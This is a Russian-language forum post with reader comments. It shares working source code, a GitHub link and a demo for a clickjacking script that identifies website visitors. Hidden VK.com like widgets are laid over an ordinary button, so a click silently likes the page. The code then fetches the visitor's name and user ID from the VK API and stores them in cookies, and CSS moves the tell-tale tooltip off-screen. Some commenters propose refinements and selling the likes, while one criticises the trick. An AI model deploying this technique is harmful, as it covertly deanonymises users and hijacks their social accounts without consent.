Когда то давно, хотели сделать сервис, который позволял бы узнать посетителя сайта и дать возможность заполнить поля на сайте за посетителя, но проект заморозился и уже умер.
Решил выложить исходники, может кому будет это полезно.
И так суть скрипта. Поверх любой кнопки накладывается скрипт лайка от сайта VK.com.
Проверка авторизован ли пользователь на сайте VK.com:
VK.Auth.getLoginStatus(function (response) {
if (response.status === 'unknown')
$('.button_style').hide(); // если не авторизован, то скрываем виджеты лайка
});
Накладываем на кнопку-жертву по всей площади виджеты лайка и скрываем их:
Все наша кнопка готова, теперь по клику на неё будет ставиться лайк, теперь нам нужно отловить это событие и сохранить в куки, чтобы в следующий раз брать из куков.
VK.Observer.subscribe("widgets.like.liked", function () {
$.ajax({
url: 'https://api.vk.com/method/likes.getList?' +
'type=sitepage' +
'&page_url=' + window.location +
'&extended=1' +
'&owner_id=' + LIKE_ID,
dataType: "jsonp",
success: function (data) {
if (data.response) {
var user = data.response.items[0];
var options = {expires: 1000000};
$scope.cookies_user = user;
$scope.setCookie('first_name', user.first_name, options);
$scope.setCookie('last_name', user.last_name, options);
$scope.setCookie('uid', user.uid, options);
$scope.name = user.first_name + " " + user.last_name;
$scope.modalOpen();
$scope.$digest();
}
}
});
});
Еще один момент, который заставил помучатся, это появление пользователей которые лайкнули.
Обход, вынести за облость экрана:
#vkwidget1_tt,
#vkwidget2_tt,
#vkwidget3_tt,
#vkwidget4_tt {
margin-left: -2500px;
}
Исходники: github.com/romkagolovadvayha/romkagolovadvayha.github.io/tree/master/socialhunt.su
Демо: romkagolovadvayha.github.io/socialhunt.su/index.html (нажать на кнопку)
Комментарии (6)
faiwer
02.10.2015 08:25Как жаль, что такие грязные трюки до сих пор не режутся браузерами. Насколько я понимаю, в данном случае, можно было бы игнорировать клики по «opacity: 0» элементам страницы. Ну или, на худой конец, не учитывать их если «opacity: 0» задан самому iframe или одному из его родителей.
Delphinum
А разве VK гарантирует что в массиве, возвращаемом likes.getList в качестве первого элемента будет последний лайкнувший пользователь?
dooza
В VK об этом ничего не сказано, но исходя из наблюдений, возвращаемые пользователи отсортированы по дате.
BeLove
Нужно просто генерировать уникальную ссылку для каждого юзера, я так делаю.
BupycNet
Просто продавать лайки на записях сообществам. И отслеживаем и зарабатываем еще на этом. И если таких записей много — меньше шансов одновременного лайка.